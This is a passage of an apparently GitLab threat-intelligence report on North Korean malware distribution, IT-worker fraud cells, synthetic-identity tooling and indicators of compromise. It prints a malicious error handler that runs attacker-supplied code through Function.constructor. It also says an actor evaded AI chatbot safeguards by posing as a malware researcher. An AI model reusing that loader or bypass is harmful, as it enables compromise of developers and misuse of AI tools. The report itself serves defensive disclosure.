</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">  } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (err) {
</span></span><span class="line" line="17"><span style="--shiki-default:#D73A49">    await</span><span style="--shiki-default:#6F42C1"> errorHandler</span><span style="--shiki-default:#24292E">(err.response?.data </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> err.message </span><span style="--shiki-default:#D73A49">||</span><span style="--shiki-default:#24292E"> err);
</span></span><span class="line" line="18"><span style="--shiki-default:#24292E">  }
</span></span><span class="line" line="19"><span style="--shiki-default:#24292E">};
</span></span></code></pre><p><strong>Example custom error handler intended to execute remote code:</strong></p><pre className="language-javascript shiki shiki-themes github-light" code="const errorHandler = (error) =&gt; {
  try {
    if (typeof error !== &#39;string&#39;) {
      sss
      console.error(&#39;Invalid error format. Expected a string.&#39;);
      return;
    }
    const createHandler = (errCode) =&gt; {
      try {
        const handler = new(Function.constructor)(&#39;require&#39;, errCode);
        return handler;
      } catch (e) {
        console.error(&#39;Failed:&#39;, e.message);
        return null;
      }
    };
    const handlerFunc = createHandler(error);
    if (handlerFunc) {
      handlerFunc(require);
    } else {
      console.error(&#39;Handler function is not available.&#39;);
    }
  } catch (globalError) {
    console.error(&#39;Unexpected error inside errorHandler:&#39;, globalError.message);
  }
};
" language="javascript" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#D73A49">const</span><span style="--shiki-default:#6F42C1"> errorHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#E36209">error</span><span style="--shiki-default:#24292E">) </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="2"><span style="--shiki-default:#D73A49">  try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="3"><span style="--shiki-default:#D73A49">    if</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#D73A49">typeof</span><span style="--shiki-default:#24292E"> error !== &#39;string&#39;) {
</span></span><span class="line" line="4"><span style="--shiki-default:#24292E">      sss
</span></span><span class="line" line="5"><span style="--shiki-default:#24292E">      console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Invalid error format. Expected a string.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">      return;
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">    const </span><span style="--shiki-default:#6F42C1">createHandler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#24292E"> (</span><span style="--shiki-default:#E36209">errCode</span><span style="--shiki-default:#24292E">) </span><span style="--shiki-default:#D73A49">=&gt;</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="9"><span style="--shiki-default:#D73A49">      try</span><span style="--shiki-default:#24292E"> {
</span></span><span class="line" line="10"><span style="--shiki-default:#D73A49">        const</span><span style="--shiki-default:#005CC5"> handler</span><span style="--shiki-default:#D73A49"> =</span><span style="--shiki-default:#D73A49"> new</span><span style="--shiki-default:#24292E">(Function.</span><span style="--shiki-default:#005CC5">constructor</span><span style="--shiki-default:#24292E">)(</span><span style="--shiki-default:#032F62">&#39;require&#39;</span><span style="--shiki-default:#24292E">, errCode);
</span></span><span class="line" line="11"><span style="--shiki-default:#D73A49">        return</span><span style="--shiki-default:#24292E"> handler;
</span></span><span class="line" line="12"><span style="--shiki-default:#24292E">      } </span><span style="--shiki-default:#D73A49">catch</span><span style="--shiki-default:#24292E"> (e) {
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">        console.</span><span style="--shiki-default:#6F42C1">error</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#032F62">&#39;Failed:&#39;</span><span style="--shiki-default:#24292E">, e.message);
</span></span><span class="line" line="14"><span style="--shiki-default:#D73A49">        return</span><span style="--shiki-default:#005CC5"> null</span><span style="--shiki-default:#24292E">;
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">      }
</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">    };
</span></span><span class="line" line="17"><span style="--shiki-default:#24292E">    const handlerFunc </span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#6F42C1"> createHandler</span><span style="--shiki-default:#24292E">(error);
</span></span><span class="line" line="18"><span style="--shiki-default:#6F42C1">    if</span><span style="--shiki-default:#24292E"> (handlerFunc) {
</span></span><span class="line" line="19"><span style="--shiki-default:#6F42C1">      handlerFunc</span><span style="--shiki-default:#24292E">(</span><span style="--shiki-default:#E36209">require</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="20"><span style="--shiki-default:#24292E">    } else {
</span></span><span class="line" line="21"><span style="--shiki-default:#24292E">      console.error(</span><span style="--shiki-default:#032F62">&#39;Handler function is not available.&#39;</span><span style="--shiki-default:#24292E">);
</span></span><span class="line" line="22"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="23"><span style="--shiki-default:#24292E">  } catch (globalError) {
</span></span><span class="line" line="24"><span style="--shiki-default:#24292E">    console.error(</span><span style="--shiki-default:#032F62">&#39;Unexpected error inside errorHandler:&#39;</span><span style="--shiki-default:#24292E">, globalError.message);
</span></span><span class="line" line="25"><span style="--shiki-default:#24292E">  }
</span></span><span class="line" line="26"><span style="--shiki-default:#24292E">};
</span></span></code></pre><p>The error handler execution pattern allows threat actors to spread malicious components across up to four files and follows a code path targets may miss even if they audit code before running it. Staging URLs commonly respond with decoy content unless the correct header values are included with requests. This technique became increasingly common through 2025, alongside other anti-analysis developments, including sandbox detection in Ottercookie and the increasing use of invite-only private projects.</p><p>The extent to which distinctive subgroups of activity overlap in time leads us to assess that North Korean nation-state malware distribution on GitLab.com almost certainly relates to distinct teams operating in parallel with limited coordination. We’ve observed instances consistent with individual operators independently trying to fix an execution issue or add a feature to their malware. We also observed instances where threat actors have more than one malware execution pathway in a malicious repository, potentially resulting in malware executing twice or more. These instances suggest low technical proficiency among some operators, who appear to lack confidence when modifying malware code.</p><h4 id="other-notable-observations">Other notable observations</h4><p>In July 2025, we identified a project containing notes kept by a North Korean nation-state malware distributor. The threat actor maintained a target list containing more than 1,000 individuals&#39; names. Comments added by the threat actor identify 209 individuals having responded to contact attempts, 88 of whom were recorded as having executed a malicious project. This operator also maintained documents and code related to contract software development, suggesting simultaneous engagement in both malware distribution and fraudulent employment.</p><p>In September 2025, we observed a North Korean nation-state malware developer using AI to help develop a custom obfuscator for BeaverTail. Based on commit messages and project data, the developer used ChatGPT and Cursor (with an unknown model) to refine their obfuscator by testing whether AI was capable of de-obfuscating their code. Based on AI model responses, the threat actor was able to avoid triggering safeguards by posing as a security researcher attempting to analyze the malware. This demonstrates the broadly empowering nature of AI and the limits of safeguards in preventing use by motivated threat actors. We have not observed the BeaverTail variant the threat actor created in the wild.</p><p>In October 2025, a North Korean nation-state-controlled account submitted a support ticket to appeal a ban from GitLab.com for malware distribution. The threat actor, posing as the CTO of a newly created cryptocurrency organization, inquired about the reason for their ban and requested account reinstatement. We assess that this support ticket was likely an attempt to gather information about our detection methodology. We provided no information to the threat actor and also banned a subsequent account they created using the same CTO persona.</p><h3 id="implications">Implications</h3><p>North Korean nation-state malware operations are atypical because of how much direct human effort is involved. The volume of manual effort by many operators presents a challenge to service providers because of the extreme diversity in techniques that emerges.</p><p>We observed an increasing emphasis on obfuscation and evasiveness in the second half of 2025, indicating that service provider disruptions are forcing an evolution in tactics. Despite this, we anticipate that North Korean nation-state malware campaigns will continue through 2026 due to the continued effectiveness of the campaign and the high value of developer endpoints to North Korean threat actors.</p><h3 id="mitigation">Mitigation</h3><p>We banned 131 accounts associated with North Korean nation-state malware distribution in 2025. We’re grateful for the abuse reports we received from GitLab.com users, which helped us to track threat actors through infrastructure and technique shifts. We encourage GitLab.com users encountering malicious or suspicious content to continue to submit abuse reports using the abuse report functionality on user profile pages.</p><p>We improved our data collection and clustering of North Korean nation-state accounts and invested in new capabilities to identify threat actor infrastructure. We collaborated with industry partners to share our data, enabling the disruption of accounts on other platforms.</p><h2 id="case-studies">Case studies</h2><h3 id="case-study-1-north-korean-it-worker-cell-manager-financial-and-administrative-records">Case Study 1: North Korean IT Worker Cell Manager Financial and Administrative Records</h3><h4 id="summary">Summary</h4><p>We identified a private project almost certainly controlled by Kil-Nam Kang (강길남), a North Korean national managing a North Korean IT worker cell. Kang maintained detailed financial and personnel records showing earnings of more than US$1.64 million between Q1 2022 and Q3 2025. Kang’s cell currently includes seven other North Korean nationals and generates revenue through freelance software development under false identities. We assess that the cell is highly likely colocated and operating from Beijing, China.</p><h4 id="key-findings-1">Key findings</h4><p>In late 2025, we identified a private project containing financial records and administrative documents related to the operation of a North Korean IT worker cell. Detailed financial records span from Q1 2022 to Q3 2025, however less detailed records indicate the cell was operating as early as 2019.</p><p>We assess that the project is almost certainly controlled by North Korean national Kil-Nam Kang. Records indicate that Kang managed the cell as two subteams in 2022, however from 2023 onwards only tracked performance at the individual level. Kang maintains detailed personnel records, including dossiers on each team member, performance reviews, and copies of team members’ passports. Kang also has credentials to remotely access each cell member&#39;s workstation.</p><p><img alt="Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692342/zasqtzdr3xpq9wgqh6a1.png" title="Assessed organization chart of the North Korean IT worker cell managed by Kil-Nam Kang." /></p><p>Personnel dossiers list each of the cell members as “베이징주재 김일성종합대학 공동연구중심 연구사”, translating to “Researcher at Kim Il-sung University Joint Research Center in Beijing”. This designation suggests that the cell’s presence in China may be under an academic pretext. Kang generally accessed GitLab.com via Astrill VPN, however we also observed origination from China Unicom IP addresses geolocated to Beijing, most recently <code className="">111.197.183.74</code>.</p><p>Dossiers list devices and accounts owned by each cell member, including passwords to access accounts. Dossiers list from two to four “대방관계” (“bilateral relations”) for each cell member. We assess that these bilateral relations almost certainly include active facilitators, however may also include inadvertent facilitators or victims of identity theft. Bilateral relations span countries including the U.S., Canada, Mexico, Panama, the U.K., France, Spain, Sweden, Montenegro, Russia, China, Thailand, Indonesia, Malaysia, Philippines, Sri Lanka, Argentina, Chile, and Peru. The project contains other data on bilateral relations, including identity documents, banking information, and credentials to remotely access devices and accounts.</p><p>Financial records indicate that the cell generates revenue through freelance and contract software development services. The cell maintains detailed notes linking each software development project to a facilitator persona. These notes include samples of communication styles and notes on facilitator circumstances and temperaments to enable cell members to switch between projects if required. The cell focused on web and mobile app development.</p><p>Software development clients pay the cell via digital payment processors. Withdrawal receipts indicate that cell members withdraw funds from payment platforms into Chinese banks. The cell maintained organized banking records, including digital images of Chinese Resident Identity Cards, which are required to access the Chinese financial system. The cell maintained individual records for at least three Chinese banks. One Chinese Resident Identity Card relates to a North Korean national who is not a member of the cell.</p><p><img alt="Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client &amp; financial organization names redacted." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692489/zetnsj3ufqqnlefbpwk0.png" title="Screenshot of project spreadsheet showing deposits and withdrawal from virtual bank accounts, dated November 2025. Client &amp; financial organization names redacted." /></p><p><img alt="Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692675/ghr0pg1hrtu109hk2xes.png" title="Screenshot of spreadsheet tracking withdrawals from digital payment processors to Chinese bank accounts." /></p><p>The project contained more than 120 spreadsheets, presentations, and documents that systematically track quarterly income performance for individual team members. Reports compare team member earnings against predefined targets and quarter-over-quarter performance. The comprehensiveness and highly structured nature of financial reports is indicative of regular financial monitoring and reporting to leadership.</p><p><img alt="Screenshot of presentation showing cell performance data for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692846/kepq0zhevybpfrdnkg3t.png" title="Screenshot of presentation showing cell performance data for Q3 2025." /></p><p><img alt="Screenshot of presentation showing cell member performance relative to goals for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769692964/mwsgg1hs3zqgddibaxsy.png" title="Screenshot of presentation showing cell member performance relative to goals for Q3 2025." /></p><p><img alt="Screenshot of presentation showing cell performance data by month for Q3 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693162/eilplgjpnrlh1mln1l67.png" title="Screenshot of presentation showing cell performance data by month for Q3 2025." /></p><p>We aggregated financial data and identified a total reported income of US$1.64 million from Q1 2022 to Q3 2025. The cell had a target of US$1.88 million over the same period. The cell averaged approximately US$117,000 per quarter, approximately US$14,000 per member excluding Kang. The cell produced the highest earnings in the first half of 2022 and lowest earnings in Q3 2025.</p><p><img alt="Actual and target cell earnings over time, 2022 to 2025." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769693321/e4okiye7ucr0gge28wle.png" title="Actual and target cell earnings over time, 2022 to 2025." /></p><p>We assess that cell income goals were likely set based on a combination of prior earnings and cell membership. In Q3 2025, cell member Won-Jin Kim was dropped from tracking and his documentation was shifted to a directory marked “귀국” (“Return to the home country”). We assess that Won-Jin Kim’s departure from the cell is unlikely to relate to revenue generation performance based on consistently high earnings relative to other members.</p><p>The private project also contained performance reviews for cell members, dated 2020. These performance reviews confirm that the cell is physically colocated and include commentary about cell members’:</p><ul><li>Earnings contribution and mutual skills development.</li><li>Voluntary donations for Typhoon Bavi and COVID-19 recovery in North Korea.</li><li>Contributions to collective household duties, including doing laundry, providing haircuts, and purchasing shared food and drink.</li><li>Interpersonal values and adherence to party values.</li></ul><p>These reviews suggest that the cell operates as a tightly controlled collective household where individual performance encompasses both revenue generation and ideological conformity. We observed instances of a cell member communicating with an unknown party by continually overwriting an HTML comment hidden in a large decoy codebase. The other party appeared to be able to communicate with North Korea, and provided the cell member with information about personal matters and the international movements of mutual contacts. This communication method was unique to this exchange and may have been an attempt by the cell member to evade surveillance by their superiors.</p><p><img alt="Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694080/cxenda3rxohgwbbrddz2.png" title="Commit showing a cell member communicating with an unknown party to pass on messages from inside North Korea." /></p><h4 id="implications-1">Implications</h4><p>This activity provides a unique view into the financial operations and organizational structure of a North Korean IT worker cell. Records demonstrate that these operations function as structured enterprises with defined targets and operating procedures and close hierarchical oversight. This cell’s demonstrated ability to cultivate facilitators globally provides a high degree of operational resiliency and money laundering flexibility.</p><p>The declining earnings trend through 2025 may reflect a changing landscape due to increased public awareness of North Korean IT worker activities. Despite this decline, the cell had earnings exceeding US$11,000 per member in Q3 2025, demonstrating a clear capability to generate funds for the regime.</p><h4 id="mitigations">Mitigations</h4><p>We banned accounts related to this activity.</p><h3 id="case-study-2-synthetic-identity-creation-and-service-abuse-at-scale">Case Study 2: Synthetic Identity Creation and Service Abuse at Scale</h3><h4 id="summary-1">Summary</h4><p>We identified a North Korean nation-state software development team collaborating on a large-scale synthetic identity creation capability. The capability included functionality to scrape images and personal data, generate fake passports, and automate email and professional networking accounts to generate leads. The threat actors also developed tools to synchronize Git repositories and created copies of proprietary code they gained access to. This activity cluster created a minimum of 135 synthetic identities purporting to originate from Eastern Europe and Southeast Asia. Using these personas, the actor gained access to at least 48 private codebases.</p><h4 id="key-findings-2">Key findings</h4><p>We identified a set of projects contributed to by a North Korean nation-state activity cluster focused on capability development and large scale synthetic identity creation. The cluster included 10 distinct GitLab accounts or Git identities that exhibited concurrent activity or had distinct origins, leading us to assess that the activity cluster highly likely comprised at least a small team of developers. Accounts commonly originated from Virtual Private Servers but intermittently originated from Russian IP space. The development team commenced activities in 2021 but was most active from late-2024 to mid-2025.</p><p>The threat actor developed a complex multistage process to generate synthetic identities at scale. The overall flow of the threat actor’s identity creation capability was to:</p><ol><li>Scrape photographs from social media, AI image generators, and other platforms.</li><li>Use the legitimate faceswapper.ai service to create novel images by swapping faces from diverse source images into headshot-style images suitable for identity documents.</li><li>Generate passports with fake personal information using VerifTools and newly created headshots. VerifTools is an illicit fraudulent identity document service <a href="https://www.justice.gov/usao-nm/pr/us-government-seizes-online-marketplaces-selling-fraudulent-identity-documents-used" rel="">disrupted by U.S. authorities in August 2025</a>. Downloaded passports contained watermarks because the threat actor did not pay for VerifTools.</li><li>Use an automated Adobe Photoshop routine stored in a .atn file to extract and remove VerifTools watermarks.</li><li>Create accounts on email and professional networking sites. The threat actor used fake passports to seek enhanced identity verification on professional networking sites.</li></ol><p>The threat actor’s tooling to interact with abused services was brokered through a control node hosted at <code className="">185.92.220.208</code>. This control node served a custom API that allowed individual operators to remotely create, monitor, and control individual accounts. The threat actor used web browsers instrumented with Selenium to interact with abused services. The threat actor primarily automated accounts to make connections and cold contact leads to generate software engineering work.</p><p>The threat actor used a combination of dedicated, IPRoyal, and open proxies to obfuscate their activities and stored a massive volume of solutions to animal/object matching CAPTCHA challenges to facilitate bypasses in automated scripts. The control node tracked the efficacy of the threat actor’s accounts, contact scripts, and infrastructure, allowing the threat actor to monitor campaign effectiveness and adapt its techniques over time through an administrative dashboard.</p><p>The threat actor stored working data on dedicated infrastructure or in cloud storage accounts rather than on GitLab.com. However, in September 2024, the threat actor inadvertently committed a dump of its database to GitLab.com. The database contained records of profiles controlled at that time, which was early in the development of the capability. The contents of some fields in the database were encrypted, however the server-side decryption routine code stored on GitLab.com contained a hard-coded key, allowing us to decrypt the data.</p><p>As of September 2024, the threat actor controlled 135 synthetic identities. Identities most commonly purported to be based in Serbia, but also purportedly originated from Poland, Philippines, Indonesia, Bulgaria, Croatia, Romania, Lithuania, Moldova, Hungary, and Slovakia. For each account, the threat actor stored information about whether identity verification was successful, with overall results indicating the threat actor was successful in just over 40% of verification attempts. Commit volume on the synthetic identity capability escalated sharply from September 2024 to December 2024, indicating that the true scale of the threat actor’s activities may have been much higher. The threat actor also had more than 73,000 leads stored in its database dump, providing insight into the scope of its outbound activities.</p><p><img alt="Distribution of purported account origins" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694425/igefe8soxgg1gt2lfasy.png" /></p><p><img alt="Distribution of identity verification results" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694350/liucfviexwkxy028ysyf.png" /></p><p>The threat actor also created a set of command line tools for standardized Git operations.  The tooling was primarily intended to allow the threat actor to mirror Git repositories from private namespaces on a range of cloud and self-managed source code management systems. The tooling allowed the threat actor to push commits to the mirror and then have them synchronized to remote repositories under the correct Git identities. This capability gave the threat actor a safety net against making commits under the wrong identity and also meant that they exfiltrated copies of codebases they gained access to. Based on metadata reports committed to GitLab.com by the threat actor, they used this mirroring tooling on at least 48 unique repositories.</p><h4 id="implications-2">Implications</h4><p>This cluster is notable among North Korean nation-state activity we observed in 2025 due to the strong focus on automation and continued efficacy monitoring. This cluster also demonstrates that North Korean nation-state threat actors draw on both emerging AI capabilities and the cybercrime ecosystem to enhance their operations.</p><p>Identity development is a fundamental element of North Korean nation-state insider activity. North Korean nation-state threat actors incrementally build legitimacy through identities spanning multiple platforms and by seeking enhanced verification services where possible. North Korean nation-state identity cultivation draws on network effects by creating interactions, reviews and testimonials between personas. These tactics have the drawback of increasing threat actors’ exposure to service provider takedowns. Organizations should treat applications with dead links to professional profiles and source code portfolios as highly suspicious.</p><h4 id="mitigations-1">Mitigations</h4><p>We banned the accounts associated with this activity and notified impacted service providers of potential abuse of their platforms.</p><h3 id="case-study-3-north-korean-operator-controlling-21-personas">Case Study 3: North Korean Operator Controlling 21 Personas</h3><h4 id="summary-2">Summary</h4><p>We identified an individual North Korean operator controlling at least 21 distinct personas based on real identities. The threat actor was focused on revenue generation through contract and freelance software development. The threat actor’s personas spanned five countries and were supported by doctored identity documents and personal information obtained from open sources and through a likely cyber intrusion.</p><h4 id="key-findings-3">Key findings</h4><p>We identified a code project used by an individual North Korean operator active from at least May 2021 until February 2025. The threat actor was focused on generating revenue through contract and freelance software development under a range of stolen or shared identities, spanning at least 21 distinct personas. The threat actor focused on web, blockchain, and cloud skill sets, and created blogs and professional social media accounts on various external platforms. The threat actor typically accessed GitLab.com via commercial VPNs and Virtual Private Servers with RDP enabled. Based on lapses in proxy use, the threat actor was likely physically located in Russia during early 2025.</p><p>The threat actor maintained individual directories for each identity, containing identity documents, resumes, signatures, personal information, and payment card information. The threat actor’s identities spanned the U.S., Canada, Ukraine, Estonia, and Macedonia. For five of their eight U.S.-based identities, the threat actor used Photoshop to edit their own image into one or more stolen identity documents, preserving otherwise valid details. The threat actor produced false Florida and Texas driver licenses and false U.S. passports. The threat actor had Photoshop Document (PSD) template files to produce identity documents for Australia, Austria, Canada, Finland, Germany, Malaysia, Mexico, Philippines, and Poland. We identified some of these template files for sale via illicit services online and assess that the threat actor likely purchased the templates.</p><p><img alt="Doctored U.S. identity documents containing the threat actor’s photograph." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694685/rof3zsajd7asn8lcq0oc.png" title="Doctored U.S. identity documents containing the threat actor’s photograph." /></p><p>The threat actor also collected personal information on U.S.-based individuals. The threat actor had files that appear to have been exported from the HR management system of a large U.S.-based hospitality company. The files contained information including personal and contact details, protected class status, and identity document numbers for almost 8,000 employees of the organization. We were unable to locate this data in circulation or data breach aggregators, suggesting that the data may have been obtained by the threat actor during an intrusion or purchased in a one-off sale. The threat actor also had an export of the public Florida voter registration database, which is one of the most detailed publicly available voter databases.</p><h4 id="implications-3">Implications</h4><p>This threat actor’s activities suggest that North Korean threat actors place a particular value on U.S. identities. We identified no evidence that the threat actor altered non-U.S. identity documents or collected personal data from any other country. This activity also demonstrates that North Korean threat actors, even when focused on earning wages, present a cyber intrusion risk and actively leverage the cybercrime ecosystem to support their operations.</p><h4 id="mitigation-1">Mitigation</h4><p>We banned the account associated with this operator.</p><h3 id="case-study-4-north-korean-fake-it-worker-operating-from-central-moscow">Case Study 4: North Korean Fake IT Worker Operating from Central Moscow</h3><h4 id="summary-3">Summary</h4><p>We identified a private code repository used by a North Korean fake IT worker likely operating from central Moscow. The threat actor was focused on cultivation of a smaller group of more detailed personas and progressed from freelance work to full-time employment. The threat actor also attempted to recruit remote facilitators to maintain custody of laptops intended to be remotely accessed.</p><h4 id="key-findings-4">Key findings</h4><p>We identified a private code project controlled by a North Korean fake IT worker most recently active in December 2025. We identified the project within a week of its creation, however the threat actor&#39;s records indicate they have been active on other platforms since at least 2022. The threat actor started as a freelance software developer and 3D modeler but shifted focus to seeking fraudulent full-time employment in 2025. The threat actor’s strategy relied on a smaller number of personas with emphasis on establishing legitimacy through backstopping rather than relying on many disposable personas.</p><p>Repository contents indicate that the threat actor began as a fraudulent freelancer. Invoices created by the threat actor during this period were marked payable to individuals and addresses in China, Poland, and Spain. Documents stored by the threat actor indicate that they rotated through accounts on at least three payment processors to receive payments from clients. A spreadsheet stored by the threat actor indicates they were part of a 14-member cell in 2022, however they did not store continuous financial records on GitLab.com. North Korean cells we have observed on GitLab.com typically have smaller membership and this is the only data we have observed consistent with a cell membership exceeding 10.</p><p>In early 2025, the threat actor pivoted to attempting to obtain full-time employment at U.S. and U.K. organizations. In March 2025, the threat actor uploaded chat logs to GitLab.com containing exchanges with another likely North Korean operator. The threat actors discussed their progress in recruiting individuals in the U.S. and U.K. to maintain custody of laptops to be remotely accessed in exchange for a fixed fee and the payment of power and internet utilities. The primary threat actor mentioned having a current facilitator based in Hong Kong providing remote access to a device and sharing their identity and a potential facilitator in the U.K. The primary threat actor represented himself as a Chinese national with visa difficulties when attempting to recruit facilitators.</p><p>In April 2025, the threat actor operationalized the Hong Kong-based facilitator and started seeking employment. The threat actor circulated a set of resumes with different skill sets on resume-sharing sites and on a personal portfolio website. The threat actor took a series of photographs of themselves and used several AI-headshot services to create professional profile photos.</p><p><img alt="Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations." src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769694925/spifmjjmsbod8nczsi6n.png" title="Original and AI-enhanced images of the threat actor stored in private projects and open-source examples claiming employment at two U.S.-based organizations." /></p><p>The threat actor uploaded the original images used to create their AI headshots to GitLab.com. The images contained EXIF metadata, including GPS coordinate data. GPS coordinates stored on the images indicate that they were taken at <code className="">55°43&#39;44.4&quot;N 37°36&#39;55.8&quot;E</code>, which is a location in the Yakimanka District in central Moscow. We note that these coordinates were highly likely produced via Windows location services based on WiFi positioning and may have a reduced accuracy compared to true GPS. Despite this limitation, we assess that it is highly likely that this threat actor was based in Moscow when the images were captured on April 18, 2025. The threat actor also commonly originated from Russian IP addresses when accessing GitLab.com without a VPN.</p><p><img alt="Map depicting the location stored in EXIF metadata on images of the threat actor. " src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1769695036/cjv9evwdxwxonpdgvko9.png" title="Map depicting the location stored in EXIF metadata on images of the threat actor." /></p><p>The threat actor’s notes indicate that they gained employment with at least one small U.S.-based technology agency in mid-2025 and were subsequently contracted to five other organizations. The threat actor appears to have gained significant access to the agency, including privileged access to web hosts used for client projects and potential access to an executive’s Slack account. The threat actor stored copies of the executive’s resume and message logs indicating that the threat actor may represent themselves as the executive in communications with external parties. We are unable to assess whether this is an instance of facilitation or the threat actor using their foothold to establish deeper control of the agency.</p><h4 id="implications-4">Implications</h4><p>This incident is an example of a North Korean fake IT worker cultivating a small number of detailed personas. This approach is distinct from other operators that focus on a higher volume of disposable personas.</p><p>This incident also provides insight into North Korean facilitator cultivation. The threat actors were content to seek purely technical facilitators rather than facilitators willing to share their identities and participate in meetings. This preference suggests that North Korean operators prioritize circumventing technical controls such as IP address-based geolocation and reputation scoring over identity verification challenges, indicating that technical controls may be a more significant operational barrier in the current landscape.</p><h4 id="mitigations-2">Mitigations</h4><p>We banned the account associated with this activity.</p><p><em>Saksham Anand contributed to this report.</em></p><h2 id="appendix-1-gitlab-threat-intelligence-estimative-language">Appendix 1: GitLab Threat Intelligence Estimative Language</h2><p>We use specific language to convey the estimated probability attached to assessments. We also use words including &quot;possible&quot; and &quot;may&quot; in circumstances where we are unable to provide a specific estimate. Further reading on estimative language is available <a href="https://www.cia.gov/resources/csi/static/Words-of-Estimative-Probability.pdf" rel="">here</a>.</p><table><thead><tr><th align="left">Estimative Term</th><th align="left">Almost Certainly Not</th><th align="left">Highly Unlikely</th><th align="left">Unlikely</th><th align="left">Real Chance</th><th align="left">Likely</th><th align="left">Highly Likely</th><th align="left">Almost Certain</th></tr></thead><tbody><tr><td align="left">Probability Range</td><td align="left">0 - 10%</td><td align="left">10 - 25%</td><td align="left">25 - 40%</td><td align="left">40 - 60%</td><td align="left">60 - 75%</td><td align="left">75 - 90%</td><td align="left">90 - 100%</td></tr></tbody></table><h2 id="appendix-2-indicators-of-compromise">Appendix 2: Indicators of Compromise</h2><p>We recommend that organizations use these indicators of compromise as a basis for investigation rather than as a blocklist. North Korean threat actors almost certainly use compromised and purchased identities to support their operations, meaning these indicators of compromise may not be uniquely malicious or may have reverted to their original owners. We have made our best efforts to filter for email addresses where threat actors have indicated positive control of the email address on one or more platforms or represented themselves as the associated identity.</p><table><thead><tr><th align="left">Indicator</th><th align="left">Type</th><th align="left">Risk</th><th align="left">First Seen</th><th align="left">Last Seen</th><th align="left">Comment</th><th align="left">Case Study</th></tr></thead><tbody><tr><td align="left"><code className="">aleks.moleski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">aleksander.malinowski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">anatol.baranski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">anton.plonski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">ben.moore0622@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">edward.harley@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">iwan.banicki@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">johnwilson0825@outlook.com</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">kevin.brock@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">richard.francis10@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">robert.radwanski@mail.io</code></td><td align="left">email</td><td align="left">malware</td><td align="left">N/A</td><td align="left">N/A</td><td align="left">Used for malware distribution on freelance developer platforms</td><td align="left">Year in Review</td></tr><tr><td align="left"><code className="">roman.bobinski@mail.io</code></td><td 